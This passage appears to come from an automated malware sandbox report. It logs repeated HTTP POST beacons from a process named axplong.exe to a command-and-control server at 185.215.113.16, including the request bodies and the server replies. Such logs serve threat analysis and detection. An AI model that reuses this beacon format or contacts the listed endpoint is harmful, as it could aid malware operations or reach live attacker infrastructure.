Sep 26, 2024 17:06:08.332066059 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:08.563980103 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	55655	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:08.681051970 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:09.375256062 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:09.376321077 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:09.599627018 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	55656	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:09.758709908 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:10.474226952 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:10.475132942 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:10.709074974 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	55657	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:10.823120117 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:11.549422026 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:11.551275969 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:11.780131102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	55658	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:11.905811071 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:12.620748997 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:12.623521090 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:12.857176065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	55659	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:12.977821112 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:13.686417103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:13.687414885 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:13.933962107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	55660	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:14.055573940 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:14.782094002 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:14.784502029 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:15.020087957 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	55661	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:15.134735107 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:15.853360891 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:15.854372978 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:16.089590073 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	55662	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:16.211677074 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:16.939333916 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:16.940506935 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:17.173333883 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	55663	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:17.290596008 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:18.010824919 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:18.011984110 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:18.243854046 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	55664	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:18.353413105 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:19.070374012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:19.071213007 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:19.303478956 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	55665	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:19.415422916 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:20.113703966 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:20.114624977 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:20.338655949 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	55666	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:20.454943895 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:21.163033962 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:21.168693066 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:21.562275887 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
